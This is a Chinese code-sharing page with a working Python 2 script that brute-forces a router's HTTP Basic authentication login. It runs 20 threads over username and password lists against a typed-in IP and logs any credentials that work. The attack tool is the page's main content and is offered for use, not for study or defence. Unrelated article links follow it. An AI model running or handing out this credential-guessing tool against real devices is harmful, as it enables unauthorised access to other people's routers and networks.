python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python多进程和多线程究竟谁更快(详解)
May 29 Python
Python时间的精准正则匹配方法分析
Aug 17 Python
python3.4爬虫demo
Jan 22 Python
Python中函数参数匹配模型详解
Jun 09 Python
python numpy 矩阵堆叠实例
Jan 17 Python
使用Python爬虫库requests发送请求、传递URL参数、定制headers
Jan 25 Python
Python for循环通过序列索引迭代过程解析
Feb 07 Python
浅谈Keras中shuffle和validation_split的顺序
Jun 19 Python
Python函数递归调用实现原理实例解析
Aug 11 Python
解决selenium+Headless Chrome实现不弹出浏览器自动化登录的问题
Jan 09 Python
Python3使用Selenium获取session和token方法详解
Feb 16 Python
Python使用Web框架Flask开发项目
Jun 01 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
教你如何把一篇文章按要求分段
2006/10/09 PHP
PHP一些有意思的小区别
2006/12/06 PHP
PHP 数字左侧自动补0
2008/03/31 PHP
PHP程序员常见的40个陋习,你中了几个?
2014/11/20 PHP
深入浅出讲解:php的socket通信原理
2016/12/03 PHP
jqGrid增加时--判断开始日期与结束日期(实例解析)
2013/11/08 Javascript
Ionic如何实现下拉刷新与上拉加载功能
2016/06/03 Javascript
批量下载对路网图片并生成html的实现方法
2016/06/07 Javascript
详解Vue.js分发之作用域槽
2017/06/13 Javascript
AugularJS从入门到实践(必看篇)
2017/07/10 Javascript
Vue上传组件vue Simple Uploader的用法示例
2017/08/25 Javascript
详解node服务器中打开html文件的两种方法
2017/09/18 Javascript
详解用webpack的CommonsChunkPlugin提取公共代码的3种方式
2017/11/09 Javascript
在webstorm开发微信小程序之使用阿里自定义字体图标的方法
2018/11/15 Javascript
基于nodejs的微信JS-SDK简单应用实现
2019/05/21 NodeJs
php结合js实现多条件组合查询
2019/05/28 Javascript
mpvue网易云短信接口实现小程序短信登录的示例代码
2020/04/03 Javascript
[01:18]DOTA2超级联赛专访hanci ForLove淘汰感言曝光
2013/06/04 DOTA
Python爬虫实例爬取网站搞笑段子
2017/11/08 Python
快速解决PyCharm无法引用matplotlib的问题
2018/05/24 Python
python matlibplot绘制多条曲线图
2021/02/19 Python
Python3.6使用tesseract-ocr的正确方法
2018/10/17 Python
浅谈Python在pycharm中的调试(debug)
2018/11/29 Python
django的ORM模型的实现原理
2019/03/04 Python
django基于存储在前端的token用户认证解析
2019/08/06 Python
Python图片的横坐标汉字实例
2019/12/04 Python
Django自关联实现多级联动查询实例
2020/05/19 Python
结构和类有什么异同
2012/07/16 面试题
机械制造与自动化应届生求职信
2013/11/16 职场文书
拉拉队口号
2014/06/16 职场文书
反腐倡廉标语
2014/06/24 职场文书
弘扬焦裕禄精神走群众路线思想汇报
2014/09/12 职场文书
教师三严三实心得体会
2014/10/11 职场文书
领导欢迎词致辞
2015/01/23 职场文书
Spring Cache和EhCache实现缓存管理方式
2021/06/15 Java/Android
canvas 中如何实现物体的框选
2022/08/05 Javascript